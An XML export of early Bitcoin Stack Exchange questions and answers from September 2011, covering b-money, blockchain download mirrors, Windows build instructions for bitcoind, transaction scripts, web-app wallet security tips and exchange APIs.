  <row Id="801" PostTypeId="2" ParentId="785" CreationDate="2011-09-09T08:29:21.170" Score="14" Body="&lt;p&gt;The closest predecessor to Bitcoin is generally agreed to be Wei Dei's &lt;a href=&quot;http://www.weidai.com/bmoney.txt&quot;&gt;b-money&lt;/a&gt; proposal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proposal had a lot of holes. For example, it assumed that money could be created simply by solving hard computational problems. But it contained no mechanism to control currency inflation, so currency would inflate as computing power increased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He actually offered a way around this, auctioning off the currency. But this still creates huge problems without a centralized authority -- who confirms the bids were paid and issues the currency? On what authority?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also hand-waves over major issues. It requires servers to be partially trusted and argued that to be a server, you could be required to deposit some money in a fund that would be debited in the event misconduct was discovered. But who would debit the account? And who would get credited? And by what authority would they do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this got the ball rolling on the idea of a completely decentralized crypto-currency. The amazing thing about Bitcoin is that it solved all the remaining problems at once.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-09T08:29:21.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="802" PostTypeId="2" ParentId="799" CreationDate="2011-09-09T08:30:16.423" Score="28" Body="&lt;p&gt;&lt;em&gt;Note by Murch: This download link is broken and it seems unlikely to me that anyone still provides this service. Network and synchronization code have been immensely improved over the years so that the initial block download via the network is usually acceptably fast.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the &lt;a href=&quot;http://eu1.bitcoincharts.com/blockchain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain nightlies&lt;/a&gt; handled by tcatm (one of the Bitcoin core developers and the operator of bitcoincharts.com). Unpack and copy&amp;amp;replace &lt;code&gt;blkindex.dat&lt;/code&gt;, &lt;code&gt;blk0001.dat&lt;/code&gt; files into &lt;code&gt;C:\Users\&quot;username&quot;\AppData\Roaming\Bitcoin&lt;/code&gt; for Windows 7, and run &lt;code&gt;bitcoind&lt;/code&gt; with the &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;-rescan&lt;/code&gt; option&lt;/a&gt;. Then it will take only a couple minutes to download up to latest block. Be aware that manually copied blocks won't get verified.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="5406" LastEditDate="2017-03-13T08:33:24.813" LastActivityDate="2017-03-13T08:33:24.813" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="803" PostTypeId="2" ParentId="293" CreationDate="2011-09-09T08:41:45.377" Score="3" Body="&lt;p&gt;I have actually been working on this exact problem. My motivation is to achieve a slightly different effect than what you're asking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to &quot;move&quot; some Bitcoins to a different hash chain, allow them to be exchanged in that hash chain (as Bitcoins), and then I'd like the final holder to be able to &quot;re-import&quot; the Bitcoins back into the regular hash chain. The goal would be to create &quot;side-chains&quot; with faster block generation times useful for smaller transactions. (They could also 'expire' after a few months and be forgotten, reducing the size of the permanent hash chain.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the basic problem is the same. You need the legitimate holder of some Bitcoins to depend on a fact verifiable only outside the Bitcoin hash chain. In both cases, the existence of a transaction in another hash chain. (In my case, a Bitcoin hash chain but not &lt;em&gt;the&lt;/em&gt; Bitcoin hash chain. In your case, another currency's hash chain. But the principle is the same.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the Bitcoin design requires every client to be able to validate every transaction, as they must track coins all the way back to their origin to confirm their validity. This means a transaction must be verifiable with only information every client should have -- and that means only information in the Bitcoin block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third party could put this information into the Bitcoin hash chain. But you'd have to trust that third party, defeating the point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have thus concluded that no solution is possible, unless someone has an idea that breaks my assumptions. I hope that will happen, but I am not clever enough to think of it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-09T08:41:45.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="804" PostTypeId="2" ParentId="799" CreationDate="2011-09-09T09:26:42.960" Score="14" Body="&lt;p&gt;A good start of downloading block chain is here&lt;/p&gt;&#xA;&lt;hr&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;update 22.02.2021: URL is not more Working&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="54" LastEditorUserId="-1" LastEditDate="2021-02-22T17:22:37.237" LastActivityDate="2021-02-22T17:22:37.237" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="805" PostTypeId="2" ParentId="792" CreationDate="2011-09-09T09:30:43.530" Score="8" Body="&lt;p&gt;If fees are your only concern, yes it works. By ordering the smallest inputs (those of which you'd need lots in a future transaction) in ascending order and then build transactions to yourself just small enough to avoid paying fees you will end up with a few large inputs which can then be used in future transactions, without paying a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method has been discussed for mobile clients as it allows to discard spent inputs and reduces the amount of data to be stored/searched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However as David pointed out your future transactions might get a lower priority for being confirmed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transactions within each fee tier are prioritized based on several&#xA;  factors. Most importantly, a transaction has more priority if the&#xA;  coins it is using have a lot of confirmations. Someone spamming the&#xA;  network will almost certainly be re-using the same coins, which will&#xA;  lower the priority of their transactions. Priority is also increased&#xA;  for transactions with more BTC, and reduced for transactions with more&#xA;  data.&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So there is in fact a tradeoff between renewing your old inputs and keeping them as they are to create higher priority transactions. I'd say just set yourself a limit like &quot;inputs larger than 1 BTC should not be aggregated&quot; and you'll be fine.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2011-09-09T09:30:43.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="806" PostTypeId="1" AcceptedAnswerId="813" CreationDate="2011-09-09T09:41:57.240" Score="6" ViewCount="2662" Body="&lt;p&gt;Although similar to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8/how-do-i-develop-mobile-applications-for-bitcoin&quot;&gt;this question about mobile app development&lt;/a&gt;, I would like to know how I should go about the development of web applications that make use of Bitcoin. It can be assumed that &lt;a href=&quot;https://softwareengineering.stackexchange.com/questions/46716/what-should-a-developer-know-before-building-a-public-web-site&quot;&gt;all the standard recommendations mentioned in this famous question&lt;/a&gt; will have been noted and implemented where applicable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is about &lt;strong&gt;Bitcoin specific design requirements&lt;/strong&gt; that experienced developers would like to hand down to those just starting out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit to clarify further&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for design requirements that a web application using the Bitcoin protocol in some way would be advised to apply before releasing their code to the public. For example&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;additional security arrangements (offline elements? manual interventions?)&lt;/li&gt;&#xA;&lt;li&gt;network connectivity concerns (what is an appropriate uptime expectation? does Bitcoin introduce greater bandwidth consumption than standard web technologies?)&lt;/li&gt;&#xA;&lt;li&gt;recommended deployment configurations (distributed via EC2+EBS+S3? personally managed servers? and so on)&lt;/li&gt;&#xA;&lt;li&gt;data privacy concerns (Know Your Customer?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There have been many issues with Bitcoin web applications suffering from design issues that should have been avoided. Hopefully, the answers to this question will help other developers working on these projects to not repeat them.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-02-10T09:51:07.997" Title="How do I develop web applications for Bitcoin?" Tags="|development|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="807" PostTypeId="2" ParentId="587" CreationDate="2011-09-09T10:12:49.860" Score="16" Body="&lt;p&gt;Take a look at &lt;a href=&quot;https://bitcointalk.org/index.php?topic=5851.msg86700#msg86700&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Build Instructions&lt;/a&gt; By Matt Corallo, it's outdated, but has some additional comments to the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-msw.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;included doc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Install:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;MinGW Automated Installer from&lt;br&gt;&#xA;  &lt;a href=&quot;http://sourceforge.net/projects/mingw/files/OldFiles/mingw-get-inst/mingw-get-inst-20110316/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sourceforge.net/projects/mingw/files/OldFiles/mingw-get-inst/mingw-get-inst-20110316/&lt;/a&gt;.&#xA;  Install with the C++ and MSYS options checked.&lt;/li&gt;&#xA;  &lt;li&gt;Activestate Perl (for building openssl) from&lt;br&gt;&#xA;  &lt;a href=&quot;http://www.activestate.com/activeperl/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.activestate.com/activeperl/downloads&lt;/a&gt;.  You don't need&lt;br&gt;&#xA;  anything except ActivePerl and Perl, none of the other fancy crap.&lt;br&gt;&#xA;  You do want to add Perl to your PATH (its an option in the&lt;br&gt;&#xA;  installer).&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;WxWidgets 2.9.1:&lt;br&gt;&#xA;  &lt;a href=&quot;http://sourceforge.net/projects/wxwindows/files/2.9.1/wxWidgets-2.9.1.zip/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sourceforge.net/projects/wxwindows/files/2.9.1/wxWidgets-2.9.1.zip/download&lt;/a&gt;.&#xA;  Unzip to C:\wxWidgets-2.9.1-mgw&lt;/li&gt;&#xA;  &lt;li&gt;OpenSSL 1.0.0d:&#xA;  &lt;a href=&quot;http://www.openssl.org/source/openssl-1.0.0d.tar.gz&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.openssl.org/source/openssl-1.0.0d.tar.gz&lt;/a&gt;.     Untar  to&#xA;  C:\openssl-1.0.0c-mgw (yes bitcoin is designed to build with&#xA;  1.0.0c, but might as well use the latest version since it works right?) Hint: untar using the tar binary which is included in MinGW (do not use 7-zip, &lt;a href=&quot;https://stackoverflow.com/questions/10102873/undefined-reference-to-winmain16-with-cygwin-and-mingw-in-openssl&quot;&gt;it will not handle symlinks correctly&lt;/a&gt;) using cd \c\ &amp;amp;&amp;amp; tar xvvf\c\Users\Matt\Downloads\openssl-1.0.0d.tar.gz &amp;amp;&amp;amp; mv openssl-1.0.0d openssl-1.0.0c-mgw in the msys shell&lt;/li&gt;&#xA;  &lt;li&gt;Berkeley DB 4.7.25 NC: &lt;a href=&quot;http://download.oracle.com/berkeley-db/db-4.7.25.NC.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://download.oracle.com/berkeley-db/db-4.7.25.NC.zip&lt;/a&gt;.  Unzip to C:\db-4.7.25.NC-mgw&lt;/li&gt;&#xA;  &lt;li&gt;Boost 1.43.0:&lt;br&gt;&#xA;  &lt;a href=&quot;http://sourceforge.net/projects/boost/files/boost/1.43.0/boost_1_43_0.zip/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sourceforge.net/projects/boost/files/boost/1.43.0/boost_1_43_0.zip/download&lt;/a&gt;. Unzip to C:\boost-1.43.0-mgw&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Boost Jam:&lt;br&gt;&#xA;  &lt;a href=&quot;http://sourceforge.net/projects/boost/files/boost-jam/3.1.18/boost-jam-3.1.18-1-ntx86.zip/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sourceforge.net/projects/boost/files/boost-jam/3.1.18/boost-jam-3.1.18-1-ntx86.zip/download&lt;/a&gt;. Unzip wherever you like, I used C:\bjam &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;miniUPnPc binary&lt;br&gt;&#xA;  &lt;a href=&quot;http://miniupnp.tuxfamily.org/files/download.php?file=upnpc-exe-win32-20110215.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://miniupnp.tuxfamily.org/files/download.php?file=upnpc-exe-win32-20110215.zip&lt;/a&gt;.&#xA;  Unzip to C:\upnpc-exe-win32-20110215&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;miniUPnPc source&lt;br&gt;&#xA;  &lt;a href=&quot;http://miniupnp.tuxfamily.org/files/download.php?file=miniupnpc-1.5.20110215.tar.gz&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://miniupnp.tuxfamily.org/files/download.php?file=miniupnpc-1.5.20110215.tar.gz&lt;/a&gt;. Untar to C:\upnpc-exe-win32-20110215\miniupnpc (you only need *.h, but the others won't hurt) untar with cd \c\upnpc-exe-win32-20110215 &amp;amp;&amp;amp; tar xvvf \c\Users\Matt\Downloads\miniupnpc-1.5.20110215.tar.gz &amp;amp;&amp;amp; mv miniupnpc-1.5.20110215 miniupnpc&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Note that the reason for using the binary miniupnpc release is that I&#xA;  was unable to get it to build on my system.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Add C:\MinGW\bin to your PATH environment variable (Google is your&#xA;  friend as it depends on your Windows Version).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;In the DOS Shell:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;wxWidgets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd \wxWidgets-2.9.1-mgw\build\msw&#xA;mingw32-make -f makefile.gcc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Boost:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd \boost-1.43.0-mgw&#xA;\bjam\bjam.exe toolset=gcc --build-type=complete stage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;In the msys Shell (MinGW shell in your start folder or&#xA;  C:\MinGW\msys\1.0\msys.bat):&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;OpenSSL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /c/openssl-1.0.0c-mgw&#xA;./config&#xA;make&#xA;perl util/mkdef.pl 32 libeay enable-static-engine &amp;gt; libeay32.def&#xA;dllwrap --dllname libeay32.dll --output-lib libeay32.a --def libeay32.def libcrypto.a -lws2_32 -lgdi32 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Copy the libeay32.dll file&#xA;  to the folder where you are building/running bitcoin.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Berkeley DB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /c/db-4.7.25.NC-mgw/build_unix&#xA;sh ../dist/configure --enable-mingw --enable-cxx&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Bitcoin&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you wish to use git to pull keep a local repository, you'll have to&#xA;  download msgit from&#xA;  &lt;a href=&quot;http://code.google.com/p/msysgit/downloads/detail?name=Git-1.7.4-preview20110204.exe&amp;amp;can=2&amp;amp;q=&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://code.google.com/p/msysgit/downloads/detail?name=Git-1.7.4-preview20110204.exe&amp;amp;can=2&amp;amp;q=&lt;/a&gt; . Otherwise, you can download the latest zip of bitcoin from&#xA;  &lt;a href=&quot;https://github.com/bitcoin/bitcoin/zipball/master&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/zipball/master&lt;/a&gt; In the msys shell,&#xA;  cd to the unzipped location and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make -f makefile.mingw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Run with ./bitcoin.exe (make sure you have the libeay32.dll in bitcoin&#xA;  folder)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="108" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-10-19T23:06:44.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="808" PostTypeId="1" CreationDate="2011-09-09T12:34:17.503" Score="9" ViewCount="3135" Body="&lt;p&gt;Form the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot;&gt;Bitcoin Wiki - Transactions&lt;/a&gt; I see a transaction has the following format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Input:&#xA;Previous tx: f5d8ee39a430901c91a5917b9f2dc19d6d1a0e9cea205b009ca73dd04470b9a6&#xA;Index: 0&#xA;scriptSig: 304502206e21798a42fae0e854281abd38bacd1aeed3ee3738d9e1446618c4571d10&#xA;90db022100e2ac980643b0b82c0e88ffdfec6b64e3e6ba35e7ba5fdd7d5d6cc8d25c6b241501&#xA;&#xA;Output:&#xA;Value: 5000000000&#xA;scriptPubKey: OP_DUP OP_HASH160 404371705fa9bd789a2fcd52d2c580b65d35549d&#xA;OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The input in this transaction imports 50 BTC from output #0 in transaction f5d8... Then the output sends 50 BTC to a Bitcoin address (expressed here in hexadecimal 4043... instead of the normal base58). When the recipient wants to spend this money, he will reference output #0 of this transaction in an input of his own transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming I could use BlockExplorer to find the &lt;code&gt;Previous tx&lt;/code&gt; and &lt;code&gt;Index&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How would I generate the &lt;code&gt;scriptSig&lt;/code&gt; ? Is it something that could be done on the command line e.g. openssl.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;OP_DUP OP_HASH160&lt;/code&gt; is that literally placed into the transaction text or is it a pseudonym ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;40437...&lt;/code&gt; in the scriptPubkey, how would I create that ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="293" LastEditorUserId="1766" LastEditDate="2013-07-25T18:37:08.840" LastActivityDate="2014-03-19T03:57:49.703" Title="How would I hand code a Bitcoin transaction" Tags="|transactions|script|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="809" PostTypeId="2" ParentId="66" CreationDate="2011-09-09T13:38:45.357" Score="0" Body="&lt;p&gt;&quot;Every man has his price.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sooner or later, you're going to find something priced in BTC that you want or need. And you'll want or need it &quot;now.&quot; Consider the situation when buying a computer: they are always going down in price. By the deflationista's argument, nobody would be buying electronics. Ever. If a faster computer is going to be cheaper next week, then I won't buy one this week. Same thing for next month. And next year. Forever...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except it misses one important point: computers are useful, and sooner or later a buyer's price (the tradeoff between the computer's usefulness and future computer purchasing power of money) will be met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;deflation&quot; argument falls down with this one simple example.&lt;/p&gt;&#xA;" OwnerUserId="297" LastActivityDate="2011-09-09T13:38:45.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="810" PostTypeId="1" CreationDate="2011-09-09T13:58:03.500" Score="5" ViewCount="828" Body="&lt;p&gt;I'm aware an address can belong to multiple people, and one person can have multiple addresses. Still, I'd like to assume the number of accounts per person is O(1) on average.&lt;/p&gt;&#xA;&lt;p&gt;Are there statistics on how much the bitcoin holdings are spread between different addresses - in other words, on whether a few addresses hold a large portion of the bitcoins, or rather is it spreading out slowly?&lt;/p&gt;&#xA;&lt;p&gt;Ideally I'd like to see a graph of this &amp;quot;measure of spread&amp;quot; over time.&lt;/p&gt;&#xA;&lt;h3&gt;Related Questions&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/86/46&quot;&gt;Is it possible to estimate the Gini coefficient for Bitcoins and if the trend is increasing or decreasing?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-08-02T21:30:11.190" Title="Are there statistics on how Bitcoin holdings are spread among addresses?" Tags="|economic-theory|user-base|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="811" PostTypeId="2" ParentId="810" CreationDate="2011-09-09T14:38:59.297" Score="2" Body="&lt;p&gt;There is &lt;a href=&quot;http://bitcoinreport.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;TOP 100&lt;/a&gt; rich list, but you have to take it with a grain of salt because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;many holders have their money spread over multiple addresses&lt;/li&gt;&#xA;&lt;li&gt;I believe many of TOP 100 belong to MtGox account holders&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want extended list, you could probably contact the author of that list or ask a programmer to build it. Should't be &lt;a href=&quot;http://bitcoinreport.blogspot.com/search/label/data%20sources&quot; rel=&quot;nofollow&quot;&gt;too hard&lt;/a&gt; to do.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2011-09-09T14:38:59.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="813" PostTypeId="2" ParentId="806" CreationDate="2011-09-09T14:50:49.763" Score="3" Body="&lt;p&gt;Some tips:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Don't keep the full amount in the wallet on the server (have it on a server that's offline, think of it as an active reserve)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)Have the actuall bitcoind software and wallet on a different machine from which the webapp is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative to running bitcoind (and dealing with all it's issues) is to use a web wallet with an API, GLBSE (GLBSE.com, note I'm the founder) has a python client for interacting with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)Require at least 8 confirmations before crediting someones bitcoin account.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-09-09T14:50:49.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="814" PostTypeId="2" ParentId="588" CreationDate="2011-09-09T15:40:43.463" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/markets/&lt;/a&gt;  and &lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; are both good resources&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also heard about a SierraChart Technical Analysis tool over at campbx dot com &lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2011-09-09T15:40:43.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="815" PostTypeId="1" AcceptedAnswerId="4103" CreationDate="2011-09-09T15:46:03.343" Score="14" ViewCount="3658" Body="&lt;p&gt;So far I have seen some Perl modules; &lt;a href=&quot;http://search.cpan.org/~mndrix/Finance-MtGox-0.01/lib/Finance/MtGox.pm&quot;&gt;Finance:MtGox&lt;/a&gt; and &lt;a href=&quot;http://search.cpan.org/~beppu/WebService-MtGox-0.05/lib/WebService/MtGox.pm&quot;&gt;Webservice:MtGox&lt;/a&gt; for interacting with Mt.Gox, a &lt;a href=&quot;http://rubygems.org/gems/mtgox&quot;&gt;Ruby gem for Mt.Gox&lt;/a&gt; and a &lt;a href=&quot;http://www.goxsh.info/&quot;&gt;Python based command line client&lt;/a&gt; for again, Mt.Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there are any other language APIs for other exchanges? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd especially like to find a Java API for more than one exchange.&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="132" LastEditDate="2011-09-12T13:55:31.293" LastActivityDate="2012-07-02T22:04:33.493" Title="Is there a list of available APIs for Bitcoin exchanges?" Tags="|development|exchanges|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="816" PostTypeId="2" ParentId="687" CreationDate="2011-09-09T15:58:26.830" Score="6" Body="&lt;p&gt;I run &lt;a href=&quot;http://accesscoin.com&quot;&gt;http://accesscoin.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have found.&#xA;&quot;Selling virtual currency via Google Checkout is allowed though.&quot; shamor - Google Employee - 7/31/11 --&#xA;&lt;a href=&quot;http://www.google.com/support/forum/p/checkout-merchants/thread?tid=3dd3aaeb58f9fd94&amp;amp;hl=en&quot;&gt;http://www.google.com/support/forum/p/checkout-merchants/thread?tid=3dd3aaeb58f9fd94&amp;amp;hl=en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="299" LastActivityDate="2011-09-09T15:58:26.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="818" PostTypeId="1" CreationDate="2011-09-09T19:14:31.313" Score="3" ViewCount="607" Body="&lt;p&gt;I've installed the &lt;a href=&quot;https://walletbit.com/&quot; rel=&quot;nofollow&quot; title=&quot;walletbit&quot;&gt;walletbit&lt;/a&gt; module in my installation of OpenCart but any others would be appreciated, especially if someone's working on MTGox/Tradehill integration! Is there much in the works or anything I've missed? &lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="129" LastEditDate="2011-10-16T11:13:54.103" LastActivityDate="2016-09-12T10:40:20.753" Title="What OpenCart plugins are available or in the works for Bitcoin transactions?" Tags="|transactions|shopping-cart-interface|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="819" PostTypeId="2" ParentId="808" CreationDate="2011-09-09T19:38:34.173" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Technically, the ScriptSig depends on the particular type of transaction output you're trying to claim, but for all standard scripts, it consists of the signature of this transaction and (usually) the public key corresponding to the private key the signature was made with. The public key must be the correct one to claim the transaction output this claims, that is, the one the coins were sent to.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin scripts use opcodes. They're documented in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Words&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;That is the Bitcoin address that can claim this output (in raw binary form), assuming the transaction is a &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions#Transfer_to_Bitcoin_address&quot; rel=&quot;nofollow&quot;&gt;transfer to a Bitcoin address&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-09T19:52:10.463" LastActivityDate="2011-09-09T19:52:10.463" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="820" PostTypeId="2" ParentId="818" CreationDate="2011-09-09T19:39:28.627" Score="2" Body="&lt;p&gt;There is an extension for bitpay (bit-pay.com) that can be found &lt;a href=&quot;http://www.opencart.com/index.php?route=extension/extension/info&amp;amp;extension_id=3119&amp;amp;path=20&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitpay allows merchants to accept bitcoins but to be paid in dollars which can be very convenient for merchants who are interested in trying out Bitcoin but might not yet be convinced of its greatness.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-09-09T19:44:56.200" LastActivityDate="2011-09-09T19:44:56.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
